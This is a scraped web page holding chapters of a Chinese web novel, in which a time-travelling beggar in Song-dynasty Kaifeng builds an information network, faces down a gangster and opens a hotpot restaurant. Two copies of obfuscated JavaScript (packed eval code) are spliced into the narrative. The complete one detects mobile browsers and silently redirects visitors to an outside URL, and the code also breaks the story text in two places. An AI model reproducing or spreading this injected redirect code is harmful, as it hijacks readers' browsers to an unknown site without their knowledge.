“第一,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿九点头:“她老娘报了官,官府去孙家瓦舍查了,朱胖子说没见过这个姑娘。但瓦舍的伙计私下跟人说,那姑娘确实去过,进去之后就没出来。” 萧北翊的脸色沉了下来。 他不是一个爱管闲事的人,但有些闲事,他管定了。 “走,去看看。” 孙家瓦舍在城西的崇明门附近,是个三层的木楼,外面挂着红灯笼,里面传来嘈杂的说笑声。萧北翊没走正门,而是绕到后面的巷子里,从一个狗洞钻了进去。 瓦舍的后院堆满了杂物,几个杂役正在搬东西。萧北翊蹲在阴影里,观察了一会儿,然后悄悄地摸到了后院深处的一间小屋前。 小屋的门虚掩着,里面传来一个男人粗重的喘息声和女人低低的哭声。 萧北翊的拳头攥紧了。 他深吸一口气,从袖子里摸出一把从王隐之那里借来的短刀——他不会用刀,但有时候,刀比拳头更有威慑力。 他一脚踹开门,冲了进去。 屋里的场景让他怒火中烧——朱胖子压在一个衣衫不整的姑娘身上,姑娘的脸上满是泪痕。 “放开她。”萧北翊的声音冷得像冬天的冰碴子。 朱胖子吓了一跳,从姑娘身上滚下来,看见是一个脏兮兮的乞丐,顿时又硬气起来:“你他妈谁啊?知道老子是谁吗?” 萧北翊没理他,走过去把姑娘拉起来,挡在身后。 “我再说一遍,放开她。哦不对,你已经放开了。那我换一句——跪下。” 朱胖子愣了一下,然后哈哈大笑:“你一个花子,让我跪下?” 萧北翊没笑。他把短刀在手里转了转——动作很生疏,但月光下刀刃的反光让朱胖子的笑声戛然而止。 “你知道我是谁吗?”萧北翊用朱胖子刚才的语气反问。 朱胖子咽了口唾沫:“你……你是谁?” “我叫萧子翼。你可能没听过这个名字,但你一定听说过周记布庄的事。”萧北翊盯着他的眼睛,一字一句地说,“三天,我用了三天时间,找到了周记布庄被盗的货。你知道我为什么能找到吗?不是因为我会破案,而是因为——东京城的每一个角落里,都有我的人。” 朱胖子的脸色变了。 “你的人?” “对。马行街、甜水巷、葫芦巷、城东、城南、城西、城北,到处都有我的人。”萧北翊把短刀往前送了送,刀尖抵在朱胖子的喉咙上,“你今天碰了这个姑娘一根手指头,明天就会有人把你的丑事捅到开封府去。你信不信?” 朱胖子额头上冒出了冷汗。 “你……你想怎么样?” 萧北翊把刀收回来,退后一步:“第一,这个姑娘,你放她走,以后不许再找她的麻烦。第二,你欺负过的那些姑娘,每个人赔十两银子。第三——” 他看着朱胖子,嘴角露出一丝冷笑。 “第三,从今天起,孙家瓦舍是我的地盘。你在瓦舍里听到的、看到的,都得告诉我。要是你敢隐瞒一个字,我就让你知道,什么叫‘生不如死’。” 朱胖子的嘴唇哆嗦了几下,最终还是点了头。 萧北翊带着那个姑娘离开了孙家瓦舍。 姑娘一直在哭,萧北翊不知道怎么安慰人,就把自己的破棉袄脱下来披在她身上,一路沉默地送她回了家。 到了家门口,姑娘忽然跪下给他磕头。 “恩公,你叫什么名字?” “叫我子翼就行。”萧北翊把她扶起来,从袖子里摸出一小块碎银子塞给她,“拿着,买点好吃的压压惊。” 姑娘又哭了。 萧北翊叹了口气,转身走了。 他走在城西的夜巷里,月光照在他的背影上,把他的影子拉得很长很长。 他忽然想起一件事——他连那个姑娘的名字都没问。 算了,问了也记不住。 回到葫芦巷的院子,已经是深夜了。 萧北翊推开院门,发现北屋里亮着灯。他走过去,推开门,看见南晚枫坐在他的床上,手里拿着一本书,正看得入神。 “南姑娘,”萧北翊靠在门框上,无奈地说,“这是我的房间。” “我知道。”南晚枫头也不抬,“我来找东西的。顺便等你。” “等我?” 南晚枫放下书,抬起头看着他。月光从窗户纸透进来,映在她的脸上,让她的轮廓显得格外柔和。 “你今天去了孙家瓦舍。”她说,语气平淡得像在说今天天气不错,“你救了一个姑娘,威胁了朱胖子,还把瓦舍收入了你的‘地盘’。” 萧北翊的眼睛眯了起来:“你跟踪我?” “不是跟踪。”南晚枫站起来,走到他面前,“是保护你。你以为孙家瓦舍是谁的地盘?是孙七爷的。你今天动了朱胖子,就等于动了孙七爷的人。孙七爷是什么人?他是城西的地下皇帝,黑白两道都吃得开。你觉得他会善罢甘休吗?” 萧北翊沉默了。 他承认,他今天冲动了。他看到那个姑娘被欺负的时候,脑子一热就冲进去了,根本没考虑后果。 “多谢提醒。”他说,“我会小心的。” 南晚枫看了他一眼,从袖子里摸出一张纸条,塞到他手里。 “这是孙七爷的底细。能查到的都查到了。你自己看着办。” 她说完,转身走了。 萧北翊站在原地,看着手里的纸条,心里涌起一股奇怪的感觉。 这姑娘,比他想的还要厉害。 他打开纸条,借着月光看了看,眉头渐渐皱了起来。 孙七爷,本名孙德茂,五十岁,早年是个走街串巷的货郎,后来靠贩卖私盐发了家,再后来洗白上岸,开了瓦舍和茶楼,生意做得风生水起。他跟朝中的不少权贵都有来往,据说跟程家也有生意上的往来。 程家。 又是程家。 萧北翊把纸条折好,塞进怀里,走到院子里,坐在石凳上,看着头顶的月亮发呆。 赤羽才刚起步,就撞上了程家这条线。是巧合,还是有人在幕后推动? 他不知道。 但有一件事他很确定——不管前路多难,他都不会退缩。 因为他是萧北翊,是赤羽之主。 窗外,月光如水,照在葫芦巷的青石板路上,明晃晃的,像一条铺满银子的路。 萧北翊闭上眼睛,深吸一口气,然后睁开眼睛,站起来,走回了北屋。 明天还有很多事要做。 今晚,先睡个好觉。 5. 第五章 孙七爷的见面礼 南晚枫的提醒不是空穴来风。 第二天一早,萧北翊还在院子里洗脸,赵大锤就跌跌撞撞地跑了进来。 “萧哥!不好了!咱们的人在城西被人打了!” 萧北翊把脸上的水一抹:“谁打的?打谁了?” “打的是孙驼子!”赵大锤喘着粗气,“早上孙驼子在相国寺门口蹲着,来了三个壮汉,二话不说把他按在地上揍了一顿,还把他的旱烟杆给撅了。临走的时候撂下一句话:‘七爷说了,叫花子就该有叫花子的样子,别管不该管的闲事。’” 萧北翊的脸色沉了下来。 孙七爷的动作比他预想的要快,也要直接。打孙驼子,是在敲山震虎。撅旱烟杆,是在羞辱。那句“别管不该管的闲事”,指向的自然是昨晚孙家瓦舍的事。 “孙驼子伤得怎么样?” “皮肉伤,不碍事。但旱烟杆断了,老爷子心疼得直掉眼泪。”赵大锤说这话的时候自己也觉得好笑——一个老乞丐为了旱烟杆哭,这画风确实有点离奇。 萧北翊深吸一口气,让自己冷静下来。 孙七爷是城西的地头蛇,根深蒂固,硬碰硬肯定不行。但也不能怂——赤羽刚起步,如果被人打了一顿就缩回去,以后就不用混了。 “把刘二、钱串子、阿九叫来。开会。” 人到齐了,萧北翊把情况说了一遍。 刘二的第一个反应是:“打回去。” 钱串子的第一个反应是:“赔钱摆平。” 阿九没说话,靠在门框上,等着萧北翊表态。 “打回去?”萧北翊看着刘二,“怎么打?咱们十个乞丐,打得过孙七爷手底下几十号人?就算打过了,官府来了抓谁?抓咱们?” 刘二不说话了。 “赔钱?”萧北翊又看向钱串子,“拿什么赔?咱们现在的家底加起来不到八两银子,够赔孙七爷一根手指头吗?” 钱串子也不说话了。 萧北翊站起来,在屋子里踱了两圈,然后停下。 “孙七爷打孙驼子,是在试探咱们。他想看看咱们是什么路数——是硬骨头,还是软柿子。如果咱们忍了,他就知道赤羽不过是一群乌合之众,以后往死里欺负。如果咱们打回去,正中他下怀——他有的是办法让官府把咱们抓进去。” “那怎么办?”赵大锤急了,“打也不是,忍也不是,总不能跪着求他吧?” 萧北翊嘴角微微上扬:“谁说要跪着求他?我要让他来求我。” 屋子里安静了一瞬。 “子翼,你什么意思?”刘二问。 萧北翊没直接回答,而是转向阿九:“阿九,你之前说,孙七爷跟程家有生意往来?” 阿九点头:“对。据说是通过一个中间人搭的线,孙七爷每年给程家送不少银子,换程家在朝中的庇护。” “知道是程家哪个管事收的钱吗?” “还在查。” “抓紧查。”萧北翊说,“同时,给我查另外几件事。第一,孙七爷的瓦舍和茶楼,有没有偷税漏税。第二,孙七爷的手下,有没有在外面惹过人命官司。第三,孙七爷有没有什么仇家——尤其是那种被他欺负过、一直想报复的。” 阿九的眼睛亮了:“萧哥,你是想——” “我想让他知道,他惹的不是一群叫花子。”萧北翊说,“他惹的是一个手里捏着他七寸的人。” 接下来三天,赤羽全员出动。 刘二带着几个人,日夜盯着孙七爷的几个场子,记下每一个进出的人物、每一笔可疑的交易。钱串子发挥他的账房本事,从侧面打听孙七爷的税务情况——这一查还真查出了问题:孙七爷名下的瓦舍和茶楼,上报的营业额只有实际的三成。 阿九则专攻孙七爷的人际关系网。这姑娘在这方面的天赋惊人,三天时间就理出了一张密密麻麻的关系图,从孙七爷的七大姑八大姨,到他跟程家管事的每一次见面时间、地点、中间人,清清楚楚。 孙驼子虽然挨了打,但也没闲着。他拖着一条瘸腿,在城南的老乞丐圈子里到处打听,终于找到了一个关键人物——一个当年被孙七爷害得家破人亡的茶商,姓魏,如今在城南的破庙里苟延残喘。 “魏掌柜?”萧北翊蹲在破庙里,看着面前这个瘦得皮包骨的老头,“你是说,孙七爷当年抢了你的茶叶生意,还勾结官府把你下了大狱?” 魏掌柜浑浊的眼睛里闪过一丝恨意:“不是抢,是骗。他说要跟我合伙做一笔大买卖,让我出银子,他出渠道。我把全部家当都投进去了,结果他的‘渠道’是假的,银子被他吞了。我去告官,他说我诬告,反倒把我关了三年。等我出来,老婆改嫁了,儿子饿死了,家也没了。” 萧北翊沉默了一会儿,然后问:“魏掌柜,如果给你一个机会扳倒孙七爷,你愿不愿意作证?” 魏掌柜抬起头,浑浊的眼睛里迸出一道光。 “愿意。死了也愿意。” 有了魏掌柜这个人证,萧北翊的棋就好下了。 但他不急着用。现在还不是时候——赤羽的根基太浅,一张牌打出去,如果没有后续的牌跟上,很容易被人反噬。 他需要更多的筹码。 第四天,阿九带来了一个消息。 “萧哥,查到了。孙七爷每年给程家管事的银子,是通过一个叫‘恒通钱庄’的地方转的。恒通钱庄的掌柜姓胡,是孙七爷的老乡,两人关系极深。程家管事每次收钱,都是在恒通钱庄的后院,由胡掌柜做中间人。” “有证据吗?” 阿九摇头:“目前没有。恒通钱庄的账目做得很干净,表面上看不出问题。但我打听到一个事——恒通钱庄的账房先生,姓周,最近跟胡掌柜闹翻了,被赶了出来。这个周账房,手里可能握着一些东西。” 萧北翊精神一振:“人在哪?” “在城南的破窑洞里住着,日子过得比乞丐还惨。”阿九说,“我已经让人盯着了,但他不肯见生人,我去过一次,连门都没进。” 萧北翊想了想:“我去。他不是不肯见生人吗?我比他更不像人——不,我是说我比他更像乞丐。一个乞丐去找他,他的戒心会低一些。” 阿九看了他一眼,难得地露出一丝笑意:“萧哥,你对自己倒是定位准确。” 城南的破窑洞在城墙根下,原来是个烧砖的窑,废弃之后成了流浪汉的窝棚。萧北翊找到那里的时候,天已经快黑了。 窑洞里黑咕隆咚的,一股霉味直冲脑门。萧北翊猫着腰钻进去,就看见一个瘦小的身影缩在角落里,面前摆着一碗凉水和一个硬馒头。 “周账房?”萧北翊蹲下来,声音放得很低。 那身影哆嗦了一下,抬起头,露出一张蜡黄的脸。四十来岁,戴着一副断了腿的眼镜,用麻绳绑着挂在耳朵上。 “你是谁?” “我叫萧子翼,是个叫花子。”萧北翊从怀里掏出一包热包子——这是他特意从巷口买的,还冒着热气——放在周账房面前,“周账房,你别怕,我不是来害你的。我是来跟你做一笔买卖的。” 周账房看着那包热包子,咽了咽口水,但没有伸手。 “什么买卖?” “我知道你从恒通钱庄被赶出来了。我也知道,你手里有一些东西,是胡掌柜不想让人看到的。”萧北翊说,“我不问你是怎么拿到那些东西的,也不问那些东西是什么。我只想说——如果你手里的东西能扳倒胡掌柜,我给你一百两银子,外加一个安稳的住处,保证没人能找到你。” 周账房的眼睛在镜片后面闪烁了一下。 “一百两?” “一百两。”萧北翊说,“现在拿不出,但三个月之内,一定给你。” 周账房沉默了很长时间。窑洞外面,风在呜咽。 “你一个叫花子,凭什么说这种大话?” 萧北翊笑了:“周账房,你以前在恒通钱庄当账房,一定见过不少有钱人。你觉得,有钱人和叫花子之间的区别是什么?” 周账房想了想:“银子。” “不对。”萧北翊摇头,“是脑子。有钱人的脑子不一定比叫花子好使,但他们有胆子。敢想、敢干、敢赌。我萧子翼现在是个叫花子,但我有脑子,有胆子。三个月后,你就知道了。” 他站起来,把那包热包子往前推了推。 “包子趁热吃。凉了就不好吃了。” 他转身钻出了窑洞。 身后,周账房颤抖着手,打开了那包包子。 回到葫芦巷,已经是深夜了。 萧北翊推开院门,发现北屋里又亮着灯。他叹了口气,走进去,果然看见南晚枫坐在他的床上,这次没看书,而是在擦一把短刀。 “南姑娘,”萧北翊靠在门框上,“你又来了。这次是来找东西的?” 南晚枫头也不抬:“东西找到了。” 萧北翊一愣:“找到了?什么东西?” 南晚枫把短刀插回腰间的皮鞘里,站起来,从袖子里摸出一个巴掌大的木盒子,打开,里面躺着一块玉佩。 “就是这个。我爹藏在这院子的水井里,我找了半年没找到,你一来,我居然在井壁上发现了一个暗格。”她的语气里带着一丝不甘,“所以说,你这人是不是自带运气?” 萧北翊凑过去看了看那块玉佩。玉质温润,上面刻着一个“南”字,背面还有一些小字,看不太清。 “这就能证明你家的清白了?” 南晚枫把盒子合上,收进袖子里:“不能。但这是关键的一步。剩下的我自己来就行,不劳你费心了。” 她说完,越过萧北翊,朝门口走去。 走到门槛处,她忽然停下,头也不回地说了一句:“对了,你查孙七爷的事,小心点。那个人心狠手辣,不是朱胖子那种货色能比的。” “你这是在关心我?” 南晚枫回过头,月光下她的表情看不清楚,但声音里带着一丝好笑。 “关心你?你想多了。我只是不想我刚租出去的院子,房东是个死人。” 她走了。 萧北翊站在北屋门口,看着她的背影消失在巷口,忍不住笑了一声。 这姑娘,嘴比她的刀还硬。 第二天,孙七爷的“见面礼”来了。 不是打人,不是砸东西,而是一封请帖。 请帖是用上好的宣纸写的,字迹工整,措辞客气:“萧公子子翼足下:闻君才华出众,心向往之。明日酉时,敝舍备薄酒一席,盼君光临。孙德茂顿首。” 赵大锤把请帖递给萧北翊的时候,手都在抖:“萧哥,这……这是鸿门宴吧?” 刘二的表情也很凝重:“子翼,不能去。孙七爷这种人,请你去吃饭,八成是想把你扣下。” 钱串子推了推并不存在的眼镜:“也不一定。如果他想扣人,直接派人来抓就是了,何必费这功夫写请帖?” 阿九没说话,看着萧北翊,等他决定。 萧北翊把请帖翻来覆去看了两遍,然后笑了。 “去。为什么不去?人家请吃饭,不去不给面子。” “萧哥!”赵大锤急了。 “放心,”萧北翊拍了拍他的肩膀,“我这个人别的本事没有,嘴皮子功夫还行。一顿饭而已,吃不死人。” 第二天酉时,萧北翊换了身干净衣裳——不是新买的,是从当铺里淘来的旧袍子,洗得发白,但好歹没有补丁。他一个人去了孙七爷的宅子。 孙七爷住在城西的崇明坊,是一栋三进的大宅院,门口蹲着两只石狮子,气派得很。萧北翊到的时候,一个管事模样的人已经在门口等着了,领着他穿过前院、中院,来到了后花园的凉亭里。 凉亭里摆了一桌酒菜,一个五十来岁的老者坐在主位上,穿着一件深蓝色的锦袍,身材微胖,面皮白净,下巴上留着一撮山羊胡,看起来像个和气的富家翁。 但萧北翊注意到他的手——骨节粗大,虎口有老茧,年轻时一定没少拿刀。 “萧公子?”老者站起来,拱手笑道,“久仰久仰。请坐。” 萧北翊也拱手还礼:“孙七爷客气了。小子一介乞丐,当不起‘公子’二字。” “当得起。”孙七爷伸手示意他坐下,“能在三天之内帮周世昌找回被盗的货,又能在一天之内把我的朱管事吓得魂不附体,这样的人,叫花子堆里可不多见。” 萧北翊坐下,端起面前的酒杯,闻了闻——是好酒,上等的汾酒。 “七爷,咱们明人不说暗话。您今天请我来,是为了朱胖子的事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650295|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孙七爷给自己也倒了一杯酒,端起来,没有喝,而是看着酒液在杯中打转。 “朱胖子的事,是小事。我请他吃饭,是因为我想认识认识你。” “认识我?” “对。”孙七爷放下酒杯,目光直直地看着萧北翊,“萧子翼,你不是一般人。你手下那几个人,刘二以前是边军的承节郎,孙驼子在城南混了三十多年,阿九那丫头虽然年纪小,但脑子比大多数男人都好使。你能把这些人拢在一起,说明你有本事。我孙德茂在东京城混了大半辈子,最喜欢结交有本事的人。” 萧北翊心里暗暗警惕。这话听起来像是在拉拢,但实际上是在告诉他——你的人我都查过了,你在我面前没有秘密。 “七爷谬赞了。”萧北翊笑了笑,“小子不过是带着几个弟兄讨口饭吃,算不上什么本事。” “讨口饭吃?”孙七爷笑了,“萧子翼,你这口饭,吃得可不小。周世昌的事,你是为了赚赏银。朱胖子的事,你是为了什么?为了那个姑娘?一个叫花子为一个素不相识的姑娘出头,不是为了钱,那就是为了名?” “也不是为了名。”萧北翊说,“只是因为看不过眼。” 孙七爷盯着他看了好一会儿,然后哈哈大笑起来。 “看不过眼!好一个看不过眼!”他拍着桌子,笑得眼泪都快出来了,“萧子翼,你知不知道,这句话我在二十年前也说过。那时候我还是个走街串巷的货郎,看见一个地痞欺负一个卖花的小姑娘,我也冲上去管了闲事。结果呢?我被那地痞打断了三根肋骨,在床上躺了两个月。” 萧北翊没说话。 孙七爷收起笑容,眼神变得深邃:“你知道我后来怎么对付那个地痞的吗?” “怎么对付的?” “我没有打回去。我花了三年时间,摸清了他的底细——他偷税漏税、强买强卖、手上还有人命。我把这些证据递到了开封府,他判了流放,死在了路上。而我,接手了他的生意,一步一步做到了今天。” 萧北翊心中一震。孙七爷说的这个故事,跟他正在做的事情何其相似。 “所以,”孙七爷端起酒杯,终于喝了一口,“萧子翼,我今天请你来,不是为了朱胖子的事,而是想告诉你——你想干什么,我都知道。你在查我的底细,你的人在盯着我的场子,你还去找了魏掌柜和周账房。我这个人,不喜欢被人盯着。” 凉亭里的气氛骤然冷了下来。 萧北翊的手指在桌下微微收紧,但他脸上依然挂着笑。 “七爷既然都知道了,那小子也不藏着掖着了。我查您,是因为您先动了我的人。孙驼子被您的人打了,旱烟杆被撅了——这是给我下马威。我如果不还手,赤羽以后就不用混了。” 孙七爷点了点头:“有理。那我打了你的人,你查了我的底,扯平了?” “扯平了。”萧北翊说,“但朱胖子的事,没扯平。那个姑娘,您得给我一个交代。” 孙七爷的眉头皱了一下:“那姑娘不是我的人。朱胖子是我手下的管事不假,但那姑娘的事,是他自己干的,跟我无关。” “他是您的人,他干了坏事,您就得管。这是规矩。” 孙七爷沉默了片刻,然后忽然笑了。 “萧子翼,你这个人,胆子是真大。敢跟我孙德茂讲规矩的人,东京城不超过五个。” “那小子就做第六个。” 孙七爷又笑了一声,这次笑得很轻。 “行。朱胖子的事,我给你一个交代。人我辞了,该赔的银子我赔。这样,够不够?” 萧北翊站起来,端起酒杯,朝孙七爷举了举。 “七爷痛快。小子敬您一杯。” 两人干了杯。 萧北翊放下酒杯,转身要走。 “萧子翼,”孙七爷在身后叫住他,“还有一件事。程家,你别碰。那不是你惹得起的人。” 萧北翊脚步一顿,回过头:“七爷,您这是在提醒我,还是在警告我?” “都有。”孙七爷说,“你我虽然立场不同,但我孙德茂佩服有本事的人。你很有本事,但你还太年轻。有些事,等你再大几岁,自然就懂了。” 萧北翊没再说什么,大步走出了孙宅。 出了大门,他才发现后背已经湿透了。 跟孙七爷这种人打交道,比跟十个朱胖子说话都累。 回到葫芦巷,刘二、阿九他们都在院子里等着。看见萧北翊完好无损地回来,赵大锤第一个冲上来,上下打量了他好几遍。 “萧哥,你没缺胳膊少腿吧?” “缺了一张嘴。”萧北翊说,“被孙七爷灌了好几杯酒,舌头都快麻了。” 他把跟孙七爷谈话的内容大致说了一遍。刘二听完,脸色不太好看:“子翼,孙七爷这是在跟你划地盘。他不计较你查他的事,但让你别碰程家。这说明程家是他的命根子,谁碰他跟谁拼命。” 阿九却有不同的看法:“萧哥,你不觉得奇怪吗?孙七爷一个做瓦舍生意的,为什么跟程家走得那么近?仅仅是为了攀附权贵?我觉得没那么简单。” 萧北翊点头:“阿九说得对。这里面一定还有别的文章。但今天不早了,先不说这个。明天开始,重心从孙七爷身上收回来,继续做咱们自己的事——收集消息、赚钱、发展人手。” “那程家的事呢?”阿九问。 “先放着。”萧北翊说,“孙七爷说得对,我现在还太年轻,有些事急不得。” 他说这话的时候,眼神里闪过一丝不甘。 但他知道,隐忍,是一个权谋家最基本的修养。 当天夜里,萧北翊躺在北屋的床上,怎么都睡不着。 南晚枫坐过的床上还残留着一股淡淡的香味,像是梅花,又像是松木,若有若无。 他翻了个身,把脸埋进枕头里,闷闷地骂了自己一句:“萧子翼,你是不是有病?人家坐一下你的床,你就开始胡思乱想?” 骂完自己,他又翻了回去。 窗外的月亮很圆,月光从窗户纸透进来,在地上画出一个方方正正的亮斑。 明天,又是新的一天。 赤羽的路还很长,一步一步走吧。 他闭上眼睛,这次真的睡着了。 6. 第六章 鸳鸯锅与复式账 孙七爷的事告一段落后,萧北翊开始琢磨一个更现实的问题——钱。 赤羽现在的家底不到八两银子,九个骨干虽然不拿工钱,但吃喝拉撒都得花钱。钱串子已经把账算得很清楚了:按照目前的开销速度,最多两个月,赤羽就得破产。 “得找个进钱的营生。”萧北翊蹲在葫芦巷院子的石阶上,对刘二说,“光靠接悬赏这种活儿,有一顿没一顿的,不靠谱。” 刘二点头:“你想干什么?偷?抢?还是开店?” “开店。”萧北翊说,“但我没钱。” “没钱开什么店?” “借。”萧北翊站起来,拍了拍屁股上的灰,“找周世昌借。” 周世昌听说萧子翼要借钱开店,二话没说就答应了。 “借多少?”周世昌问。 “二十两。” 周世昌愣了一下:“二十两?够吗?” 萧北翊笑了:“周掌柜,二十两在东京城能盘下一间小铺面了。我又不是要开绸缎庄,就是开个吃食铺子,够了。” 周世昌也不多问,从柜里取出二十两银子,用红纸包了,塞给萧北翊。 “萧兄弟,你救过我的铺子,这钱你拿着用。什么时候有了什么时候还,没有就算了。” 萧北翊推辞了一下,还是收下了。他给周世昌写了一张借据,按了手印,写得清清楚楚——三个月内还清,利息一分。 周世昌看着借据,哭笑不得:“萧兄弟,你这也太见外了。” “亲兄弟明算账。”萧北翊把借据递给他,“周掌柜收好。三个月后,连本带利,二十三两。” 有了二十两本钱,萧北翊开始张罗开铺子的事。 开什么铺子?他琢磨了好几天。东京城的吃食铺子多如牛毛,卖什么的都有,想在里头杀出一条血路,得有新鲜玩意儿。 他想到了一样东西——火锅。 北宋有类似火锅的东西,叫“暖锅”或者“拨霞供”,但做法简单,就是把肉片在沸水里涮一下蘸料吃,远没有现代火锅那么丰富。萧北翊虽然不是厨子,但作为一个现代人,吃过的火锅种类比他读过的史书还多——麻辣锅、清汤锅、鸳鸯锅、菌菇锅、番茄锅…… “鸳鸯锅!”萧北翊一拍大腿,把正在院子里晒太阳的孙驼子吓了一跳。 “萧哥,你咋了?”赵大锤从屋里探出头来。 “大锤,你会打铁对吧?” 赵大锤一愣:“会啊。我当了五年铁匠学徒,虽然手艺不精,但打个铁锅没问题。” “好!”萧北翊跳起来,“你给我打一口锅,中间隔开,一边大一边小,能同时装两种汤的那种。” 赵大锤挠头:“萧哥,你要这种锅干啥?” “做买卖。”萧北翊嘿嘿一笑,露出一口白牙,“大买卖。” 接下来的半个月,萧北翊忙得脚不沾地。 赵大锤带着两个兄弟,在城北找了个铁匠铺,借人家的炉子打锅。锅的形状反复改了七八次,太厚了传热慢,太薄了容易裂,中间隔板焊接不好会漏汤。赵大锤骂了萧北翊无数次“萧哥你是要累死我”,但每次骂完又回去继续干。 孙驼子负责找铺面。他在城南混了几十年,认识的人多,很快就找到了一间合适的——在甜水巷口,老孙头豆腐摊隔壁,原来是个卖杂货的铺子,老板生意不好要转让,月租五百文,连带后面的一个小院子。 钱串子负责算账,把开业前的每一笔开销都记得清清楚楚:铺面押金一两五钱,装修加桌椅二两,买肉买菜买调料的周转资金三两,赵大锤打锅的材料费八钱…… 阿九负责打听行情。她跑了十几家吃食铺子,把每种菜品的价格、每桌客人的平均消费、每天的客流量都摸了个大概。 萧北翊自己负责最核心的部分——火锅底料。 北宋没有辣椒。辣椒要到明朝才传入中国,这是个硬伤。但萧北翊很快想到了替代方案——用花椒、姜、蒜、豆豉、茱萸来调制麻辣味。茱萸有辣味,虽然不是辣椒那种辣,但聊胜于无。 他花了好几天时间,在王隐之的厨房里做实验。第一次,太麻了,麻得舌头都没感觉了。第二次,太咸了,咸得能齁死人。第三次,没味道。第四次,第五次,第六次…… 王隐之看着厨房里堆成山的失败品,心疼得直跺脚:“子翼!贫道的调料!贫道的柴火!贫道的锅!” “道长,您就当为东京城的餐饮事业做贡献了。”萧北翊一边刷锅一边赔笑。 第七次,萧北翊终于做出了一锅像样的底料。他叫来赤羽的所有人试吃,九个人吃得满头大汗,赵大锤连汤都喝了。 “萧哥,这是什么神仙汤?”赵大锤抹着嘴,一脸陶醉。 “这叫火锅。”萧北翊得意地说,“记住了,以后这就是咱们的招牌。” 铺子开张那天,萧北翊在门口放了一挂鞭炮。 铺子的名字叫“南北火锅”——这个名字是他想了三天才决定的。“南北”两个字,既暗合他的字“子翼”中的“翼”有北之意,又暗指南晚枫的“南”——虽然他不承认跟这姑娘有什么瓜葛,但取名的时候脑子里就是蹦出了这个字。更重要的是,火锅本来就是南北通吃的东西。 开张那天,南晚枫远远地站在巷口看了一眼那块招牌,面无表情地转身走了。没人注意到她,也没人看见她嘴角那一闪而过的弧度——也许有,但那条巷子里只有一只懒洋洋的野猫。 南北火锅的开业,在甜水巷引起了不小的轰动。 不是因为火锅本身有多稀奇,而是因为萧北翊搞了一个在北宋从未出现过的营销手段——开业大酬宾,前三天所有菜品五折,每桌还送一壶自制的酸梅汤。 这在现代是烂大街的套路,连小区门口的水果店都不屑用了。但在北宋,这种做法堪称降维打击。这就好比一个现代人回到古代,掏出打火机点柴火——村里人看了不得跪下喊神仙? 第一天,铺子里坐满了人。第二天,门口排起了队。第三天,连隔壁老孙头豆腐摊的客人都被吸引过来了。 老孙头气得直跺脚:“萧子翼!你抢我生意!” 萧北翊端着一碗酸梅汤送过去:“孙叔,消消气。咱俩是邻居,互相帮衬。以后您店里的客人想吃火锅,我给打九折。” 老孙头接过酸梅汤,喝了一口,眼睛亮了:“这什么汤?酸酸甜甜的,好喝!” “酸梅汤。独家秘方。”萧北翊笑眯眯地说,“孙叔要是喜欢,以后每天给您送一壶。” 老孙头的脸色和缓了一些,但还是嘟囔了一句:“你小子,鬼得很。” 萧北翊心说:我要是把“私域流量”“用户粘性”“跨界合作”这些词说出来,您老人家怕是要以为我中邪了。 南北火锅的生意好得出乎萧北翊的预料。 开业第一周,每天的流水都在二两银子以上,除去成本,净赚一两多。一个月下来,利润接近四十两——比他预想的多了整整一倍。 钱串子拿着账本,手都在抖:“萧哥,咱们发财了。” “发什么财?”萧北翊笑骂,“这点钱,离发财还远着呢。不过,还周掌柜的二十两是够了。” 他说话算话,第三个月的月初,就把二十三两银子送到了周世昌手上。周世昌看着那一堆碎银子——有整锭的,有剪开的,还有几块明显是从不同地方凑来的——愣了好一会儿,然后叹了口气。 “萧兄弟,你是做大事的人。” 萧北翊拱了拱手,没多说。他知道周世昌这话不是客气——一个能从一文钱没有的乞丐,在三个月内赚到二十多两银子的人,确实不一般。但周世昌不知道的是,这二十多两只是明面上的收入。赤羽的消息买卖,已经开始悄悄进账了。 火锅店赚钱的同时,赤羽的消息网络也在悄然扩张。 有了稳定的收入,萧北翊开始给骨干们发工钱——不多,每人每月二两银子,但对一群乞丐来说,这已经是做梦都不敢想的数字。赵大锤拿到钱的第一天,去买了三斤卤肉,一个人蹲在院子里吃得满嘴流油,吃完又跑出去吐了——饿太久了,肠胃受不了这个刺激。 有了钱,人的干劲就不一样了。刘二把城东的消息点从原来的一个扩展到了三个,手下的人从原来的两个增加到了六个。他给每个手下都规定了明确的“管片”——马行街归谁,甜水巷归谁,城东的瓦舍归谁,划分得清清楚楚,跟当年在边军划分防区似的。 孙驼子虽然还是整天叼着旱烟杆,但手下的小乞丐已经遍布城南的每一个角落。他年纪大了,腿脚不利索,但脑子清楚,每天傍晚把各个方向报上来的消息汇总,挑出有用的,让人送到葫芦巷。 阿九更厉害。这姑娘不声不响,却在城西建起了赤羽最有效率的消息网。她不像刘二那样划片区,也不像孙驼子那样广撒网,而是只盯关键人物——孙七爷手下的几个管事、瓦舍的头牌艺人、茶楼的说书先生。盯住这些人,城西的风吹草动就尽在掌握。 而且,她还把手伸进了城中的几个大户人家——不是直接派人进去,而是通过那些在府里当丫鬟、当仆役的旧相识。这些人本来就在府里,不用额外安插,只需偶尔“叙叙旧”,就能带回不少有用的信息。 钱串子虽然是“城中组”的组长,但他的主要精力还是放在记账上。萧北翊让他把赤羽的每一笔收支都记得清清楚楚,而且还教了他一种新的记账方法——复式记账法。 “萧哥,你这脑子是怎么长的?”钱串子看着新账本,啧啧称奇,“这种记账方法,我以前从来没见过。每一笔账都记两次,一次记在‘来源’,一次记在‘去向’,借贷必相等——这谁想出来的?” “一个叫帕乔利的意大利人。”萧北翊随口说。 